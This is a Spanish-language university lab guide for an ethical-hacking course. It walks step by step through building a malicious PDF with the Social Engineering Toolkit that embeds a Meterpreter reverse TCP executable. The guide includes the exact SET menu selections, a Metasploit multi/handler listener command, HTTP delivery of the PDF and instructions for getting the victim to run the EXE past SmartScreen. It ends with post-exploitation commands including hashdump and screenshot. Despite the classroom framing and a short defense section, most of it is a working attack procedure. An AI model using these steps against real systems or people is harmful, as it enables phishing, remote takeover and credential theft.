■ LABORATORIO CONTROLADO — USO ACADÉMICO

PDF Malicioso con SET

Guía completa del ejercicio de Ingeniería Social · Hacker Ético I · ITLA

Herramienta	SET + Metasploit Framework
Entorno	VMware Workstation — Red interna aislada
Fecha	Octubre 2026

■■ Solo para uso académico en laboratorio controlado

Este ejercicio se realiza únicamente en máquinas virtuales aisladas del ITLA. Replicar este proceso fuera del laboratorio autorizado constituye un delito tipificado en la Ley 53-07 de Crímenes y Delitos de Alta Tecnología de la República Dominicana.

01 — ENTORNO

Configuración del Laboratorio

Rol	Sistema Operativo	IP	Función
Atacante (Kali HE1)	Kali Linux	192.168.254.147	Genera payload, escucha la conexión
Víctima	Windows Server 2022	192.168.254.148	Abre el PDF malicioso

¿Qué es un Reverse TCP Shell?

En vez de que el atacante se conecte a la víctima (lo que bloquearía un firewall), el payload hace que la víctima se conecte de vuelta al atacante. Por eso el LHOST siempre es la IP de Kali: es quien escucha.

```
FLUJO DEL ATAQUE:
Windows (víctima) → Abre PDF → Ejecuta form.exe → 192.168.254.147:4444 → Sesión Meterpreter ✓
```

02 — RECONOCIMIENTO

Verificar Puertos Disponibles en Kali

Antes de configurar el listener, verificar que el puerto no esté en uso:

```
$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
# Solo el puerto 22 (SSH) está ocupado — el 4444 está libre ✓
```

Nota: El puerto 4444 es el predeterminado de Metasploit y funciona perfectamente en un lab cerrado. En pentesting real se prefieren puertos como 443 u 80 para evadir firewalls, ya que el 4444 es ampliamente reconocido por los IDS/IPS.

03 — GENERACIÓN DEL PAYLOAD

Social Engineering Toolkit (SET)

SET viene preinstalado en Kali. Abrir una terminal como root y lanzarlo:

```
$ sudo su
# setoolkit
```

Navegación por los menús de SET:

1 **Menú principal → Social-Engineering Attacks**

Elegir la opción 1.

```
set> 1
```

2 **Infectious Media Generator**

Elegir la opción 3 — genera archivos que se ejecutan automáticamente.

```
set> 3
```

3 **File-Format Exploits**

Elegir la opción 2.

```
set> 2
```

4 **Tipo de exploit → Opción 13**

Elegir la opción 13 — Adobe PDF Embedded EXE Social Engineering. Este método embebe un EXE directamente en el PDF, sin depender de versiones vulnerables específicas.

```
13) Adobe PDF Embedded EXE Social Engineering <-- ESTA
set:payloads> 13
```

5 **PDF base → Use built-in BLANK PDF (opción 2)**

Como no se tiene un PDF propio, se usa el PDF en blanco incluido en SET.

```
1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack <-- ESTA
set:payloads> 2
```

6 **Tipo de payload → Windows Meterpreter Reverse_TCP (opción 2)**

Meterpreter ofrece post-explotación completa vs. un shell básico (sysinfo, screenshot, hashdump, etc.).

```
1) Windows Reverse TCP Shell
2) Windows Meterpreter Reverse_TCP <-- ESTA
set:payloads> 2
```

7 **LHOST — IP del atacante (Kali)**

SET sugiere la IP automáticamente. Confirmar con Enter o escribirla:

```
IP address for the payload listener (LHOST) [192.168.254.147]:
set> 192.168.254.147
```

8 **LPORT — Puerto de escucha**

Usar el puerto 4444 (libre según ss -tlnp verificado anteriormente):

```
Port to connect back on [443]:
set:payloads> 4444
```

9 **Payload generado — responder 'no' al listener**

```
[*] Payload creation complete.
[*] All payloads get sent to the template.pdf directory
[*] Backup copy: /root/.set/template.pdf
Create a listener right now [yes|no]:
set> no # El listener se levanta manualmente
```

04 — ESCUCHA

Configurar el Listener en Metasploit

Abrir una segunda terminal en Kali y ejecutar:

```
# Terminal 1 — Metasploit Listener
# msfconsole -q -x "use exploit/multi/handler; \
# set PAYLOAD windows/meterpreter/reverse_tcp; \
# set LHOST 192.168.254.147; set LPORT 4444; \
# set ExitOnSession false; exploit -j"
[*] Started reverse TCP handler on 192.168.254.147:4444
msf6 exploit(multi/handler) > _
```

Importante: Una vez que aparece 'Started reverse TCP handler', esta terminal NO se debe cerrar. Queda en espera hasta que la víctima se conecte.

05 — ENTREGA

Servir el PDF mediante HTTP

Abrir una tercera terminal en Kali y ejecutar:

```
# Terminal 2 — Servidor HTTP
# cd /root/.set/
# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 ...
# Log cuando la víctima descarga el PDF:
192.168.254.148 - - "GET /template.pdf HTTP/1.1" 200 -
```

Si el puerto 8080 ya está en uso, usar otro: python3 -m http.server 9090. Verificar con: ss -tlnp | grep 8080

06 — EJECUCIÓN EN LA VÍCTIMA

Pasos en la VM Windows

1 **Descargar el PDF desde el navegador de Windows**

```
http://192.168.254.147:8080/template.pdf
```

2 **Abrir con Adobe Reader (no con el visor del navegador)**

Clic derecho sobre el archivo → Abrir con → Adobe Acrobat Reader. El visor integrado del navegador NO ejecuta el payload embebido.

3 **Adobe Reader solicita guardar el archivo adjunto**

Al abrir el PDF, Adobe muestra un diálogo para guardar el archivo embebido (form.pdf / form — en realidad es un EXE). Hacer clic en Guardar.

4 **Renombrar y ejecutar desde CMD**

Windows oculta extensiones por defecto. Desde el Símbolo del Sistema:

```
C:\> cd %USERPROFILE%\Downloads
C:\...\Downloads> dir form*
form.exe <-- nombre real del archivo
C:\> ren form.pdf form.exe
C:\> form.exe
```

Si Windows SmartScreen lo bloquea: clic en **'Más información'** → **'Ejecutar de todas formas'**.

07 — RESULTADO

Sesión Meterpreter Establecida

```
[*] Meterpreter session 1 opened
(192.168.254.147:4444 -> 192.168.254.148:XXXX)
msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
Computer : WIN-SERVER2022
OS : Windows Server 2022
Architecture : x86
meterpreter > _
```

✓ Acceso remoto obtenido

La conexión inversa se estableció correctamente. El atacante tiene control sobre la sesión de la máquina víctima desde Kali.

Comandos útiles de Meterpreter para la presentación:

Comando	Descripción

sysinfo	Información del sistema víctima
getuid	Usuario con el que corre el proceso
screenshot	Captura de pantalla de la víctima
shell	Abre un CMD en la máquina víctima
upload / download	Transferir archivos entre Kali y la víctima
migrate	Migrar el proceso a otro más estable
hashdump	Extraer hashes de contraseñas (requiere SYSTEM)
background	Poner la sesión en segundo plano

08 — CONCEPTOS CLAVE PARA LA PRESENTACIÓN

Puntos de discusión en clase

Ingeniería Social
El ataque no explota una vulnerabilidad técnica del sistema operativo, sino la confianza del usuario en un archivo PDF. El PDF actúa como señuelo (pretexting) mientras el EXE embebido es el payload real.

Vector de Ataque vs. Payload
Vector: el PDF malicioso (el medio de entrega). Payload: el ejecutable Meterpreter que establece la conexión. SET genera ambos integrados.

¿Por qué falla en versiones modernas?
Adobe Reader moderno y Windows Defender bloquean este vector. En el lab funciona porque la VM tiene software intencionalmente desactualizado, replicando entornos reales de organizaciones que no aplican parches. Esto demuestra la importancia del patch management.

Lección de Defensa (Blue Team)
Contramedidas reales: mantener el software actualizado, no abrir adjuntos de fuentes desconocidas, activar el sandbox de Adobe Reader, usar EDR/XDR, y aplicar el principio de mínimo privilegio.

09 — ARCHIVOS GENERADOS

Archivos creados por SET en Kali

Archivo	Ruta en Kali	Descripción
template.pdf	/root/.set/template.pdf	PDF malicioso con EXE embebido
payload.exe	/root/.set/payload.exe	Ejecutable del payload por separado
autorun/	/root/.set/autorun/	Carpeta lista para USB con autorun.inf
meta_config	/root/.set/meta_config	Config. automática para Metasploit

Elaborado en octubre 2026 con Social Engineering Toolkit v8.x + Metasploit Framework v6.3